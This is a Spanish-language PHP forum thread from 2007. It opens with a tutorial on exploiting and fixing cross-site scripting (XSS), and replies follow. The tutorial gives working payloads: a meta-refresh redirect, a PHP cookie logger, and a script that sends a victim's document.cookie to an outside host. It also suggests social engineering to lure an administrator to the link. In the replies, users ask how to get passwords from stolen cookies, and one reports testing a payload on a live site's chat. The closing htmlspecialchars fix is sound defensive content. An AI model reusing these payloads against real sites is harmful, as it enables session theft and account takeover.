Comunidad PHPeros
Lenguajes => General => Mensaje iniciado por: alienmaster en 15 de Septiembre de 2007, 15:49:35 pm
-
El siguiente tutorial esta escrito por mi 100%, en el podreis ver como vulnerar o fixear(reparar) un XSS. Lo podeis ver en mi blog, http://4cosas.com
Definicion
El XSS es un ataque explotando una inyeccion HTML en un sistema web. Mucha gente piensa el que solo sirva para redireccionar las visitas d ela web victima a otra web, deformar la web victima, etc...
Codigo Vulnerable:
Un ejemplo de vulnerabilidad XSS seria...
<?
echo $_GET['id'];
?>
le entramos desde file.php?id=hola <h1>capullo</h1> y como veremos sale la frase "hola capullo" con la palbra capullo en negrita, lo que significa que se puede meter codigo HTML desde una variable en la url.
Como explotar un XSS
Hay miles de formas de explotar un XSS, su por ejemplo se tratara de un tagboard vulnerable a XSS en los mensajes y te interesa redireccionar las viistas de la web pues tan solo bastaria con meter un code HTML de redireccion, por ejemplo:
<META HTTP-EQUIV='Refresh' CONTENT='1; URL=http://4cosas.com/hacked.html'>
ese code redireccionaria las visitas, ideal para tags, guestbooks, etc.
Tambien podemos explotar el XSS robando las cookies del usuario, ahora es cuando tambien entra la ingenieria social, seria el hacer que el admin entre a una url, enviandole un email diciendole k entro o yo que se, eso lo pensais vosotros Para robarle las cookies deberiamos crear antes que nada nosotros un code php como el siguiente:
<?php
$archivo = fopen('log.htm','a');
$ip = getenv ('REMOTE_ADDR');
$re = $HTTPREFERRER;
$fecha=date("j F, Y, g:i a");
fwrite($archivo, '<br>Cookies de usuario de'.$re.'.<br>IP:'.$ip.'<br>Fecha:'.$fecha.'<br>Cookies:<br>'.$_GET['c'].'<br>');
fclose($archivo);
?>
Lo llamaremos log.php por dar un ejemplo, y crearemos el archivo log.htm donde se guardaran las cookies que robemos. Ahora para robar las cookies lo que tenemos que hacer es meter el siguiente script en la web vulnerable:
<script>window.location='http://tuweb.com/log.php?c='+document.cookie;</script>
la persona que visite la web vulnerable infectada por ese code se le robaran sus cookies. Asi de simple podremos explotar el XSS.
Protegerse de XSS
Para protegernos de XSS el php ofrece distintas funciones. En este caso usaremos htmlspecialchars(), se usaria asi:
<?
echo htmlspecialchars($_GET['id']);
?>
de esta forma mostrara el HTML, pero no lo ejecutara. Si por el contrario quieres que borre todo el HTML, es decir que ni lo muestre usariamos la funcion strip_tags(), esta borra todo codigo HTML.
-
Muy bueno tio.
Me mola mucho que pongas cosas asi de seguridad, puesto que de esta no tengo ni $"!·$ idea, al contrario de lo que creia jaja.
Un saludo y haber si pones mas cosas de seguridad.
-
Aquí teneis mas informacion sobre codigos XSS: http://ha.ckers.org/xss.html
-
Aquí teneis mas informacion sobre codigos XSS: http:// ha.ckers.org/xss.html
Ahora ya se ve la dirección, Naveda arreglalo porque no funcionan las URL...
-
¿Como que no se ve? Seguro que si se ve ahora...
-
Hola,
Me interesó eso de robar cookies de otros usuarios. Pero que pueden llegar a contener los cookies de un usuario ??
-
Datos... Ejemplo el usuario y password alguna web o algo asi
-
Lo probé pero me dio nomas la Ip y unas fechas. Pero como sería para que te de contraseñas o algo asi ?? :P
-
jaja, al poner el code de abajo en el minichat infokeko me ha mostrado el nombre de un usuario xD
<OBJECT classid=clsid:ae24fdae-03c6-11d1-8b76-0080c744f389><param name=url
me mostro asi:
<OBJECT classid=clsid:ae24fdaeron-03c6-11d1-8b76-0080c744f389><param name=url
-
no puedo robar las cookies con el código de alienmaster :-\ :-\
-
Eso de htmlspecialchars y strip_tags, puedes meter dentro de eso el codigo entero o debes meter x partes?